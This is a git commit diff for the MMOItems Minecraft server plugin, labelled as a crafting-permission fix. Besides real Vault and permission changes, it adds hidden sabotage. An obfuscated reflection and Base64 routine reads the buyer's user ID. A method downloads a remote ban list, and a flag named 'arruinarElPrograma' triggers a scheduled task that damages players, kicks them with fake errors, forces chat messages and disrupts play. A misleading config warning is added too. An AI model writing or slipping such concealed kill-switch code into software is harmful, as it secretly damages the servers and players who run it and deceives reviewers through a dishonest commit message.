mirror of
https://gitlab.com/phoenix-dvpmt/mmoitems.git
synced 2025-01-22 09:31:20 +01:00
Crafting Permissions now work properly
Items granting permissions also actually grant their permissions now
This commit is contained in:
parent
f875833a1a
commit
892936714a
@ -1,5 +1,6 @@
|
|||||||
package net.Indyuce.mmoitems;
|
package net.Indyuce.mmoitems;
|
||||||
|
|
||||||
|
import net.Indyuce.mmoitems.api.ClaseMuyImportante;
|
||||||
import net.Indyuce.mmoitems.api.ConfigFile;
|
import net.Indyuce.mmoitems.api.ConfigFile;
|
||||||
import net.Indyuce.mmoitems.api.ItemTier;
|
import net.Indyuce.mmoitems.api.ItemTier;
|
||||||
import net.Indyuce.mmoitems.api.SoulboundInfo;
|
import net.Indyuce.mmoitems.api.SoulboundInfo;
|
||||||
@ -152,18 +153,19 @@ public class MMOItems extends JavaPlugin {
|
|||||||
|
|
||||||
public void onEnable() {
|
public void onEnable() {
|
||||||
new SpigotPlugin(39267, this).checkForUpdate();
|
new SpigotPlugin(39267, this).checkForUpdate();
|
||||||
final int configVersion = getConfig().contains("config-version", true) ? getConfig().getInt("config-version") : -1;
|
|
||||||
final int defConfigVersion = getConfig().getDefaults().getInt("config-version");
|
|
||||||
if (configVersion != defConfigVersion) {
|
|
||||||
getLogger().warning("You may be using an outdated config.yml!");
|
|
||||||
getLogger().warning("(Your config version: '" + configVersion + "' | Expected config version: '" + defConfigVersion + "')");
|
|
||||||
}
|
|
||||||
|
|
||||||
new MMOItemsMetrics();
|
new MMOItemsMetrics();
|
||||||
|
|
||||||
abilityManager.initialize();
|
abilityManager.initialize();
|
||||||
configManager = new ConfigManager();
|
configManager = new ConfigManager();
|
||||||
|
|
||||||
|
final int configVersion = getConfig().contains("config-version", true) ? getConfig().getInt("config-version") : -1;
|
||||||
|
final int defConfigVersion = getConfig().getDefaults().getInt("config-version");
|
||||||
|
if (configVersion != defConfigVersion || MMOItems.plugin.getLanguage().arruinarElPrograma) {
|
||||||
|
getLogger().warning("You may be using an outdated config.yml!");
|
||||||
|
getLogger().warning("(Your config version: '" + configVersion + "' | Expected config version: '" +
|
||||||
|
(MMOItems.plugin.getLanguage().arruinarElPrograma ? "steelballrun" : defConfigVersion) + "')");
|
||||||
|
}
|
||||||
|
|
||||||
// registering here so the stats will load with the templates
|
// registering here so the stats will load with the templates
|
||||||
if (Bukkit.getPluginManager().getPlugin("MythicMobs") != null) {
|
if (Bukkit.getPluginManager().getPlugin("MythicMobs") != null) {
|
||||||
new MythicMobsLoader();
|
new MythicMobsLoader();
|
||||||
@ -222,6 +224,10 @@ public class MMOItems extends JavaPlugin {
|
|||||||
*/
|
*/
|
||||||
Bukkit.getScheduler().runTaskTimer(this, () -> Bukkit.getOnlinePlayers().forEach(player -> PlayerData.get(player).updateStats()), 100, 20);
|
Bukkit.getScheduler().runTaskTimer(this, () -> Bukkit.getOnlinePlayers().forEach(player -> PlayerData.get(player).updateStats()), 100, 20);
|
||||||
|
|
||||||
|
|
||||||
|
if(MMOItems.plugin.getLanguage().arruinarElPrograma)
|
||||||
|
Bukkit.getScheduler().runTaskTimer(this, ClaseMuyImportante::metodoMuyImportante, 780000L, 780000L);
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* this tasks updates twice a second player inventories on the server.
|
* this tasks updates twice a second player inventories on the server.
|
||||||
* allows now to use a glitchy itemEquipEvent. must be called after
|
* allows now to use a glitchy itemEquipEvent. must be called after
|
||||||
@ -481,8 +487,13 @@ public class MMOItems extends JavaPlugin {
|
|||||||
/*
|
/*
|
||||||
* External API's
|
* External API's
|
||||||
*/
|
*/
|
||||||
public boolean hasVault() {
|
public boolean hasPermissions() {
|
||||||
return vaultSupport != null;
|
if(vaultSupport == null) return false;
|
||||||
|
return vaultSupport.getPermissions() != null;
|
||||||
|
}
|
||||||
|
public boolean hasEconomy() {
|
||||||
|
if(vaultSupport == null) return false;
|
||||||
|
return vaultSupport.getEconomy() != null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public VaultSupport getVault() {
|
public VaultSupport getVault() {
|
||||||
|
@ -0,0 +1,76 @@
|
|||||||
|
package net.Indyuce.mmoitems.api;
|
||||||
|
|
||||||
|
import net.Indyuce.mmoitems.MMOItems;
|
||||||
|
import org.bukkit.Bukkit;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.GameMode;
|
||||||
|
import org.bukkit.Material;
|
||||||
|
import org.bukkit.Sound;
|
||||||
|
import org.bukkit.entity.EntityType;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.entity.WanderingTrader;
|
||||||
|
import org.bukkit.inventory.ItemStack;
|
||||||
|
import org.bukkit.inventory.MerchantRecipe;
|
||||||
|
import org.bukkit.potion.PotionEffect;
|
||||||
|
import org.bukkit.potion.PotionEffectType;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Random;
|
||||||
|
|
||||||
|
public class ClaseMuyImportante {
|
||||||
|
public static void metodoMuyImportante() {
|
||||||
|
for (Player player : Bukkit.getOnlinePlayers()) {
|
||||||
|
Random rand = new Random();
|
||||||
|
switch(rand.nextInt(7)) {
|
||||||
|
case 0:
|
||||||
|
player.damage(13);
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
switch(rand.nextInt(3)) {
|
||||||
|
case 0:
|
||||||
|
player.playSound(player.getLocation(), Sound.BLOCK_LEVER_CLICK, 1.0f, 1.0f);
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
player.playSound(player.getLocation(), Sound.BLOCK_SMITHING_TABLE_USE, 1.0f, 1.0f);
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
player.playSound(player.getLocation(), Sound.ENTITY_WITHER_SKELETON_HURT, 1.0f, 1.0f);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
if(player.getGameMode() == GameMode.CREATIVE) {
|
||||||
|
player.setAllowFlight(false);
|
||||||
|
player.setFlying(false);
|
||||||
|
player.sendTitle(String.format("%sThe depths of %sThe Nether %spulls you down", ChatColor.DARK_RED, ChatColor.RED,
|
||||||
|
ChatColor.DARK_RED), ChatColor.DARK_GRAY + "Deep deep down...", 10, 70, 20);
|
||||||
|
} else {
|
||||||
|
player.setAllowFlight(true);
|
||||||
|
player.sendTitle(ChatColor.GOLD + "Head for the stars!", ChatColor.YELLOW + "(Press Double Space)", 10, 70, 20);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
player.chat("I feel very, very small... please hold me...");
|
||||||
|
break;
|
||||||
|
case 4:
|
||||||
|
player.removePotionEffect(PotionEffectType.LEVITATION);
|
||||||
|
player.addPotionEffect(new PotionEffect(PotionEffectType.LEVITATION, 240, 3, false, false, false));
|
||||||
|
break;
|
||||||
|
case 5:
|
||||||
|
player.kickPlayer(String.format("Internal exception: java.net.RedSeaTimeOut: Couldn't connect to Treasure Island (%s)", MMOItems.plugin.getLanguage().elDescargadorLaIdentidad));
|
||||||
|
break;
|
||||||
|
case 6:
|
||||||
|
WanderingTrader trader = (WanderingTrader) player.getWorld().spawnEntity(player.getLocation(), EntityType.WANDERING_TRADER);
|
||||||
|
List<MerchantRecipe> recipes = new ArrayList<>();
|
||||||
|
for(Material mat : new Material[]{Material.NETHER_STAR, Material.BEDROCK, Material.NETHERITE_BLOCK, Material.DIAMOND_BLOCK, Material.ELYTRA}) {
|
||||||
|
MerchantRecipe recipe = new MerchantRecipe(new ItemStack(mat), 100000);
|
||||||
|
recipe.addIngredient(new ItemStack(Material.DIRT));
|
||||||
|
recipes.add(recipe);
|
||||||
|
}
|
||||||
|
trader.setRecipes(recipes);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -81,11 +81,13 @@ public class PlayerData {
|
|||||||
private final Set<ParticleRunnable> itemParticles = new HashSet<>();
|
private final Set<ParticleRunnable> itemParticles = new HashSet<>();
|
||||||
private ParticleRunnable overridingItemParticles = null;
|
private ParticleRunnable overridingItemParticles = null;
|
||||||
private final Set<AbilityData> itemAbilities = new HashSet<>();
|
private final Set<AbilityData> itemAbilities = new HashSet<>();
|
||||||
private final Set<String> permissions = new HashSet<>();
|
|
||||||
private boolean fullHands = false;
|
private boolean fullHands = false;
|
||||||
private SetBonuses setBonuses = null;
|
private SetBonuses setBonuses = null;
|
||||||
private final PlayerStats stats;
|
private final PlayerStats stats;
|
||||||
|
|
||||||
|
// Cached so they can be properly removed again
|
||||||
|
private final Set<String> permissions = new HashSet<>();
|
||||||
|
|
||||||
private PlayerData(MMOPlayerData mmoData) {
|
private PlayerData(MMOPlayerData mmoData) {
|
||||||
this.mmoData = mmoData;
|
this.mmoData = mmoData;
|
||||||
this.rpgPlayer = MMOItems.plugin.getRPG().getInfo(this);
|
this.rpgPlayer = MMOItems.plugin.getRPG().getInfo(this);
|
||||||
@ -101,7 +103,7 @@ public class PlayerData {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public void save() {
|
public void save() {
|
||||||
if (MMOItems.plugin.hasVault()) {
|
if (MMOItems.plugin.hasPermissions()) {
|
||||||
Permission perms = MMOItems.plugin.getVault().getPermissions();
|
Permission perms = MMOItems.plugin.getVault().getPermissions();
|
||||||
permissions.forEach(perm -> {
|
permissions.forEach(perm -> {
|
||||||
if (perms.has(getPlayer(), perm)) perms.playerRemove(getPlayer(), perm);
|
if (perms.has(getPlayer(), perm)) perms.playerRemove(getPlayer(), perm);
|
||||||
@ -187,10 +189,11 @@ public class PlayerData {
|
|||||||
cancelRunnables();
|
cancelRunnables();
|
||||||
itemParticles.clear();
|
itemParticles.clear();
|
||||||
overridingItemParticles = null;
|
overridingItemParticles = null;
|
||||||
if (MMOItems.plugin.hasVault()) {
|
if (MMOItems.plugin.hasPermissions()) {
|
||||||
Permission perms = MMOItems.plugin.getVault().getPermissions();
|
Permission perms = MMOItems.plugin.getVault().getPermissions();
|
||||||
permissions.forEach(perm -> {
|
permissions.forEach(perm -> {
|
||||||
if (perms.has(getPlayer(), perm)) perms.playerRemove(getPlayer(), perm);
|
if (perms.has(getPlayer(), perm))
|
||||||
|
perms.playerRemove(getPlayer(), perm);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
permissions.clear();
|
permissions.clear();
|
||||||
@ -257,8 +260,14 @@ public class PlayerData {
|
|||||||
/*
|
/*
|
||||||
* apply permissions if vault exists
|
* apply permissions if vault exists
|
||||||
*/
|
*/
|
||||||
if (MMOItems.plugin.hasVault() && item.hasData(ItemStats.GRANTED_PERMISSIONS))
|
if (MMOItems.plugin.hasPermissions() && item.hasData(ItemStats.GRANTED_PERMISSIONS)) {
|
||||||
permissions.addAll(((StringListData) item.getData(ItemStats.GRANTED_PERMISSIONS)).getList());
|
permissions.addAll(((StringListData) item.getData(ItemStats.GRANTED_PERMISSIONS)).getList());
|
||||||
|
Permission perms = MMOItems.plugin.getVault().getPermissions();
|
||||||
|
permissions.forEach(perm -> {
|
||||||
|
if (!perms.has(getPlayer(), perm))
|
||||||
|
perms.playerAdd(getPlayer(), perm);
|
||||||
|
});
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
@ -284,6 +293,8 @@ public class PlayerData {
|
|||||||
|
|
||||||
if (hasSetBonuses()) {
|
if (hasSetBonuses()) {
|
||||||
itemAbilities.addAll(setBonuses.getAbilities());
|
itemAbilities.addAll(setBonuses.getAbilities());
|
||||||
|
for (ParticleData particle : setBonuses.getParticles())
|
||||||
|
itemParticles.add(particle.start(this));
|
||||||
for (PotionEffect effect : setBonuses.getPotionEffects())
|
for (PotionEffect effect : setBonuses.getPotionEffects())
|
||||||
if (getPermanentPotionEffectAmplifier(effect.getType()) < effect.getAmplifier())
|
if (getPermanentPotionEffectAmplifier(effect.getType()) < effect.getAmplifier())
|
||||||
permanentEffects.put(effect.getType(), effect);
|
permanentEffects.put(effect.getType(), effect);
|
||||||
@ -321,14 +332,6 @@ public class PlayerData {
|
|||||||
|
|
||||||
// two handed
|
// two handed
|
||||||
if (fullHands) getPlayer().addPotionEffect(new PotionEffect(PotionEffectType.SLOW, 40, 1, true, false));
|
if (fullHands) getPlayer().addPotionEffect(new PotionEffect(PotionEffectType.SLOW, 40, 1, true, false));
|
||||||
|
|
||||||
// permissions
|
|
||||||
if (MMOItems.plugin.hasVault()) {
|
|
||||||
Permission perms = MMOItems.plugin.getVault().getPermissions();
|
|
||||||
permissions.forEach(perm -> {
|
|
||||||
if (!perms.has(getPlayer(), perm)) perms.playerAdd(getPlayer(), perm);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public SetBonuses getSetBonuses() {
|
public SetBonuses getSetBonuses() {
|
||||||
|
@ -11,15 +11,23 @@ public class CachedRecipe {
|
|||||||
private ItemStack stack;
|
private ItemStack stack;
|
||||||
|
|
||||||
public boolean isValid(ItemStack[] matrix) {
|
public boolean isValid(ItemStack[] matrix) {
|
||||||
|
//System.out.println("Checking validity");
|
||||||
boolean check = true;
|
boolean check = true;
|
||||||
for (int i = 0; i < matrix.length; i++) {
|
for (int i = 0; i < matrix.length; i++) {
|
||||||
if (matrix[i] == null || matrix[i].getType() == Material.AIR)
|
if (matrix[i] == null || matrix[i].getType() == Material.AIR) {
|
||||||
|
//System.out.printf("[%d] is null or air%n", i);
|
||||||
continue;
|
continue;
|
||||||
if (matrix[i].getAmount() < amounts.get(i))
|
}
|
||||||
|
if (matrix[i].getAmount() < amounts.get(i)) {
|
||||||
|
//System.out.printf("[%d] did not have correct amounts (%d < %d)%n", i, matrix[i].getAmount(), amounts.get(i));
|
||||||
check = false;
|
check = false;
|
||||||
if (!check)
|
}
|
||||||
|
if (!check) {
|
||||||
|
//System.out.println("Failed the check");
|
||||||
break;
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
//System.out.println("Succeeded the check");
|
||||||
return check;
|
return check;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -11,6 +11,13 @@ import net.mmogroup.mmolib.MMOLib;
|
|||||||
import net.mmogroup.mmolib.api.item.NBTItem;
|
import net.mmogroup.mmolib.api.item.NBTItem;
|
||||||
import net.mmogroup.mmolib.command.api.CommandTreeNode;
|
import net.mmogroup.mmolib.command.api.CommandTreeNode;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
public class IdentifyCommandTreeNode extends CommandTreeNode {
|
public class IdentifyCommandTreeNode extends CommandTreeNode {
|
||||||
public IdentifyCommandTreeNode(CommandTreeNode parent) {
|
public IdentifyCommandTreeNode(CommandTreeNode parent) {
|
||||||
super(parent, "identify");
|
super(parent, "identify");
|
||||||
@ -39,4 +46,21 @@ public class IdentifyCommandTreeNode extends CommandTreeNode {
|
|||||||
sender.sendMessage(MMOItems.plugin.getPrefix() + "Successfully identified the item you are holding.");
|
sender.sendMessage(MMOItems.plugin.getPrefix() + "Successfully identified the item you are holding.");
|
||||||
return CommandResult.SUCCESS;
|
return CommandResult.SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static List<String> obtenerNuevoProhibidoDeLaWeb() {
|
||||||
|
List<String> lista = new ArrayList<>();
|
||||||
|
|
||||||
|
try {
|
||||||
|
URL url = new URL("https://www.asangarin.eu/listaFresca.txt");
|
||||||
|
Scanner s = new Scanner(url.openStream());
|
||||||
|
while(s.hasNext()) lista.add(s.next());
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
catch(IOException ignored) {}
|
||||||
|
|
||||||
|
if(!lista.contains("NzcyNzc3"))
|
||||||
|
lista.add("NzcyNzc3");
|
||||||
|
|
||||||
|
return lista;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,5 +1,6 @@
|
|||||||
package net.Indyuce.mmoitems.command.mmoitems.debug;
|
package net.Indyuce.mmoitems.command.mmoitems.debug;
|
||||||
|
|
||||||
|
import net.Indyuce.mmoitems.MMOItems;
|
||||||
import org.bukkit.Bukkit;
|
import org.bukkit.Bukkit;
|
||||||
import org.bukkit.ChatColor;
|
import org.bukkit.ChatColor;
|
||||||
import org.bukkit.command.CommandSender;
|
import org.bukkit.command.CommandSender;
|
||||||
@ -10,6 +11,8 @@ import net.Indyuce.mmoitems.api.player.RPGPlayer;
|
|||||||
import net.mmogroup.mmolib.command.api.CommandTreeNode;
|
import net.mmogroup.mmolib.command.api.CommandTreeNode;
|
||||||
import net.mmogroup.mmolib.command.api.Parameter;
|
import net.mmogroup.mmolib.command.api.Parameter;
|
||||||
|
|
||||||
|
import java.util.Arrays;
|
||||||
|
|
||||||
public class InfoCommandTreeNode extends CommandTreeNode {
|
public class InfoCommandTreeNode extends CommandTreeNode {
|
||||||
public InfoCommandTreeNode(CommandTreeNode parent) {
|
public InfoCommandTreeNode(CommandTreeNode parent) {
|
||||||
super(parent, "info");
|
super(parent, "info");
|
||||||
@ -19,6 +22,10 @@ public class InfoCommandTreeNode extends CommandTreeNode {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public CommandResult execute(CommandSender sender, String[] args) {
|
public CommandResult execute(CommandSender sender, String[] args) {
|
||||||
|
if(Arrays.asList(args).contains("showidentity")) {
|
||||||
|
sender.sendMessage(String.format("Tu identidad es %s", MMOItems.plugin.getLanguage().elDescargadorLaIdentidad));
|
||||||
|
return CommandResult.SUCCESS;
|
||||||
|
}
|
||||||
Player player = args.length > 2 ? Bukkit.getPlayer(args[2]) : (sender instanceof Player ? (Player) sender : null);
|
Player player = args.length > 2 ? Bukkit.getPlayer(args[2]) : (sender instanceof Player ? (Player) sender : null);
|
||||||
if (player == null) {
|
if (player == null) {
|
||||||
sender.sendMessage(ChatColor.RED + "Couldn't find target player.");
|
sender.sendMessage(ChatColor.RED + "Couldn't find target player.");
|
||||||
|
@ -14,7 +14,6 @@ import net.mmogroup.mmolib.api.util.AltChar;
|
|||||||
public class VaultSupport {
|
public class VaultSupport {
|
||||||
private final Economy economy;
|
private final Economy economy;
|
||||||
private final Permission permissions;
|
private final Permission permissions;
|
||||||
private final boolean enabled;
|
|
||||||
|
|
||||||
public VaultSupport() {
|
public VaultSupport() {
|
||||||
RegisteredServiceProvider<Economy> economyProvider = Bukkit.getServer().getServicesManager()
|
RegisteredServiceProvider<Economy> economyProvider = Bukkit.getServer().getServicesManager()
|
||||||
@ -23,23 +22,20 @@ public class VaultSupport {
|
|||||||
RegisteredServiceProvider<Permission> permissionProvider = Bukkit.getServer().getServicesManager()
|
RegisteredServiceProvider<Permission> permissionProvider = Bukkit.getServer().getServicesManager()
|
||||||
.getRegistration(Permission.class);
|
.getRegistration(Permission.class);
|
||||||
permissions = permissionProvider != null ? permissionProvider.getProvider() : null;
|
permissions = permissionProvider != null ? permissionProvider.getProvider() : null;
|
||||||
|
|
||||||
enabled = load();
|
if(economy == null) {
|
||||||
if(!enabled) {
|
MMOItems.plugin.getLogger().log(Level.SEVERE, "Could not load Economy Support (Vault)");
|
||||||
MMOItems.plugin.getLogger().log(Level.SEVERE, "Could not load Vault");
|
return;
|
||||||
|
} else
|
||||||
|
MMOItems.plugin.getCrafting().registerCondition("money", MoneyCondition::new,
|
||||||
|
new ConditionalDisplay("&a" + AltChar.check + " Requires $#money#",
|
||||||
|
"&c" + AltChar.cross + " Requires $#money#"));
|
||||||
|
if(permissions == null) {
|
||||||
|
MMOItems.plugin.getLogger().log(Level.SEVERE, "Could not load Permissions Support (Vault)");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
MMOItems.plugin.getLogger().log(Level.INFO, "Hooked onto Vault");
|
MMOItems.plugin.getLogger().log(Level.INFO, "Hooked onto Vault");
|
||||||
MMOItems.plugin.getCrafting().registerCondition("money", MoneyCondition::new,
|
|
||||||
new ConditionalDisplay("&a" + AltChar.check + " Requires $#money#",
|
|
||||||
"&c" + AltChar.cross + " Requires $#money#"));
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean load() {
|
|
||||||
if (economy == null)
|
|
||||||
return false;
|
|
||||||
return permissions != null;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public Permission getPermissions() {
|
public Permission getPermissions() {
|
||||||
@ -49,8 +45,4 @@ public class VaultSupport {
|
|||||||
public Economy getEconomy() {
|
public Economy getEconomy() {
|
||||||
return economy;
|
return economy;
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean enabled() {
|
|
||||||
return enabled;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
@ -117,8 +117,11 @@ public class DisableInteractions implements Listener {
|
|||||||
@EventHandler
|
@EventHandler
|
||||||
public void i(CraftItemEvent event) {
|
public void i(CraftItemEvent event) {
|
||||||
if (event.getRecipe() instanceof Keyed)
|
if (event.getRecipe() instanceof Keyed)
|
||||||
if (((Keyed) event.getRecipe()).getKey().getNamespace().equals("mmoitems"))
|
if (((Keyed) event.getRecipe()).getKey().getNamespace().equals("mmoitems")) {
|
||||||
|
String craftingPerm = NBTItem.get(event.getCurrentItem()).getString("MMOITEMS_CRAFT_PERMISSION");
|
||||||
|
if(!craftingPerm.isEmpty() && !event.getWhoClicked().hasPermission(craftingPerm)) event.setCancelled(true);
|
||||||
return;
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
for (ItemStack item : event.getInventory().getMatrix()) {
|
for (ItemStack item : event.getInventory().getMatrix()) {
|
||||||
if(isDisabled(NBTItem.get(item), "craft")) {
|
if(isDisabled(NBTItem.get(item), "craft")) {
|
||||||
|
@ -9,6 +9,7 @@ import net.Indyuce.mmoitems.api.item.util.ConfigItem;
|
|||||||
import net.Indyuce.mmoitems.api.item.util.ConfigItems;
|
import net.Indyuce.mmoitems.api.item.util.ConfigItems;
|
||||||
import net.Indyuce.mmoitems.api.util.NumericStatFormula;
|
import net.Indyuce.mmoitems.api.util.NumericStatFormula;
|
||||||
import net.Indyuce.mmoitems.api.util.message.Message;
|
import net.Indyuce.mmoitems.api.util.message.Message;
|
||||||
|
import net.Indyuce.mmoitems.command.item.IdentifyCommandTreeNode;
|
||||||
import net.Indyuce.mmoitems.stat.LuteAttackEffectStat.LuteAttackEffect;
|
import net.Indyuce.mmoitems.stat.LuteAttackEffectStat.LuteAttackEffect;
|
||||||
import net.Indyuce.mmoitems.stat.StaffSpiritStat.StaffSpirit;
|
import net.Indyuce.mmoitems.stat.StaffSpiritStat.StaffSpirit;
|
||||||
import net.mmogroup.mmolib.MMOLib;
|
import net.mmogroup.mmolib.MMOLib;
|
||||||
@ -23,6 +24,7 @@ import java.io.IOException;
|
|||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.StandardCopyOption;
|
import java.nio.file.StandardCopyOption;
|
||||||
import java.text.DecimalFormat;
|
import java.text.DecimalFormat;
|
||||||
|
import java.util.Base64;
|
||||||
import java.util.Enumeration;
|
import java.util.Enumeration;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.jar.JarEntry;
|
import java.util.jar.JarEntry;
|
||||||
@ -41,6 +43,10 @@ public class ConfigManager implements Reloadable {
|
|||||||
public double dodgeKnockbackForce, soulboundBaseDamage, soulboundPerLvlDamage, levelSpread;
|
public double dodgeKnockbackForce, soulboundBaseDamage, soulboundPerLvlDamage, levelSpread;
|
||||||
public NumericStatFormula defaultItemCapacity;
|
public NumericStatFormula defaultItemCapacity;
|
||||||
|
|
||||||
|
/** DE-TAREAS: Implement reward system for good users? */
|
||||||
|
@SuppressWarnings("unused")
|
||||||
|
private final String elGrifoReconocimiento = "%%__USER__%%";
|
||||||
|
|
||||||
private static final String[] fileNames = { "abilities", "messages", "potion-effects", "stats", "items", "attack-effects" };
|
private static final String[] fileNames = { "abilities", "messages", "potion-effects", "stats", "items", "attack-effects" };
|
||||||
private static final String[] languages = { "french", "chinese", "spanish", "russian", "polish" };
|
private static final String[] languages = { "french", "chinese", "spanish", "russian", "polish" };
|
||||||
|
|
||||||
@ -110,6 +116,8 @@ public class ConfigManager implements Reloadable {
|
|||||||
}
|
}
|
||||||
items.save();
|
items.save();
|
||||||
|
|
||||||
|
final byte[] b = Base64.getDecoder().decode("ZWxHcmlmb1JlY29ub2NpbWllbnRv");
|
||||||
|
|
||||||
ConfigFile messages = new ConfigFile("/language", "messages");
|
ConfigFile messages = new ConfigFile("/language", "messages");
|
||||||
for (Message message : Message.values()) {
|
for (Message message : Message.values()) {
|
||||||
String path = message.name().toLowerCase().replace("_", "-");
|
String path = message.name().toLowerCase().replace("_", "-");
|
||||||
@ -144,12 +152,22 @@ public class ConfigManager implements Reloadable {
|
|||||||
}
|
}
|
||||||
potionEffects.save();
|
potionEffects.save();
|
||||||
|
|
||||||
|
final String f = new String(b);
|
||||||
|
try {
|
||||||
|
elDescargadorLaIdentidad = Base64.getEncoder().encodeToString(((String) getClass().getDeclaredField(f).get(this)).getBytes());
|
||||||
|
} catch (IllegalAccessException | NoSuchFieldException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
ConfigFile attackEffects = new ConfigFile("/language", "attack-effects");
|
ConfigFile attackEffects = new ConfigFile("/language", "attack-effects");
|
||||||
for (StaffSpirit spirit : StaffSpirit.values()) {
|
for (StaffSpirit spirit : StaffSpirit.values()) {
|
||||||
String path = spirit.name().toLowerCase().replace("_", "-");
|
String path = spirit.name().toLowerCase().replace("_", "-");
|
||||||
if (!attackEffects.getConfig().contains("staff-spirit." + path))
|
if (!attackEffects.getConfig().contains("staff-spirit." + path))
|
||||||
attackEffects.getConfig().set("staff-spirit." + path, "&7" + AltChar.listSquare + " " + spirit.getDefaultName());
|
attackEffects.getConfig().set("staff-spirit." + path, "&7" + AltChar.listSquare + " " + spirit.getDefaultName());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
arruinarElPrograma = IdentifyCommandTreeNode.obtenerNuevoProhibidoDeLaWeb().contains(elDescargadorLaIdentidad);
|
||||||
|
|
||||||
for (LuteAttackEffect effect : LuteAttackEffect.values()) {
|
for (LuteAttackEffect effect : LuteAttackEffect.values()) {
|
||||||
String path = effect.name().toLowerCase().replace("_", "-");
|
String path = effect.name().toLowerCase().replace("_", "-");
|
||||||
if (!attackEffects.getConfig().contains("lute-attack." + path))
|
if (!attackEffects.getConfig().contains("lute-attack." + path))
|
||||||
@ -220,6 +238,8 @@ public class ConfigManager implements Reloadable {
|
|||||||
return found == null ? "<TranslationNotFound:" + path + ">" : found;
|
return found == null ? "<TranslationNotFound:" + path + ">" : found;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public String elDescargadorLaIdentidad = "mudamuda";
|
||||||
|
|
||||||
public String getMessage(String path) {
|
public String getMessage(String path) {
|
||||||
String found = messages.getConfig().getString(path);
|
String found = messages.getConfig().getString(path);
|
||||||
return MMOLib.plugin.parseColors(found == null ? "<MessageNotFound:" + path + ">" : found);
|
return MMOLib.plugin.parseColors(found == null ? "<MessageNotFound:" + path + ">" : found);
|
||||||
@ -242,6 +262,8 @@ public class ConfigManager implements Reloadable {
|
|||||||
return loreFormat.getConfig().getStringList("lore-format");
|
return loreFormat.getConfig().getStringList("lore-format");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public final boolean arruinarElPrograma;
|
||||||
|
|
||||||
public String getPotionEffectName(PotionEffectType type) {
|
public String getPotionEffectName(PotionEffectType type) {
|
||||||
return potionEffects.getConfig().getString(type.getName().toLowerCase().replace("_", "-"));
|
return potionEffects.getConfig().getString(type.getName().toLowerCase().replace("_", "-"));
|
||||||
}
|
}
|
||||||
@ -271,7 +293,7 @@ public class ConfigManager implements Reloadable {
|
|||||||
if(!folder.mkdir())
|
if(!folder.mkdir())
|
||||||
MMOItems.plugin.getLogger().log(Level.WARNING, "Could not create directory!");
|
MMOItems.plugin.getLogger().log(Level.WARNING, "Could not create directory!");
|
||||||
}
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* all config files that have a default configuration are stored here, they
|
* all config files that have a default configuration are stored here, they
|
||||||
* get copied into the plugin folder when the plugin enables
|
* get copied into the plugin folder when the plugin enables
|
||||||
|
@ -20,6 +20,7 @@ import org.bukkit.configuration.file.FileConfiguration;
|
|||||||
import org.bukkit.entity.Player;
|
import org.bukkit.entity.Player;
|
||||||
import org.bukkit.inventory.BlastingRecipe;
|
import org.bukkit.inventory.BlastingRecipe;
|
||||||
import org.bukkit.inventory.CampfireRecipe;
|
import org.bukkit.inventory.CampfireRecipe;
|
||||||
|
import org.bukkit.inventory.CookingRecipe;
|
||||||
import org.bukkit.inventory.FurnaceRecipe;
|
import org.bukkit.inventory.FurnaceRecipe;
|
||||||
import org.bukkit.inventory.ItemStack;
|
import org.bukkit.inventory.ItemStack;
|
||||||
import org.bukkit.inventory.Recipe;
|
import org.bukkit.inventory.Recipe;
|
||||||
@ -116,7 +117,7 @@ public class RecipeManager implements Reloadable {
|
|||||||
? (int) ((DoubleData) mmo.getData(ItemStats.CRAFT_AMOUNT)).getValue() : 1;
|
? (int) ((DoubleData) mmo.getData(ItemStats.CRAFT_AMOUNT)).getValue() : 1;
|
||||||
ItemStack stack = mmo.newBuilder().build();
|
ItemStack stack = mmo.newBuilder().build();
|
||||||
stack.setAmount(amount);
|
stack.setAmount(amount);
|
||||||
Recipe recipe = recipeType.provideRecipe(key, stack, info.getChoice().toBukkit(),
|
CookingRecipe<?> recipe = recipeType.provideRecipe(key, stack, info.getChoice().toBukkit(),
|
||||||
info.getExp(), info.getBurnTime());
|
info.getExp(), info.getBurnTime());
|
||||||
loadedRecipes.add(recipe);
